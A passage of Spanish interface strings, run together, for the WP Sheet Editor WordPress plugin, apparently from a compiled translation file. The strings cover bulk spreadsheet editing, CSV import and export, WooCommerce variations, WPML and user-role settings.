productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para 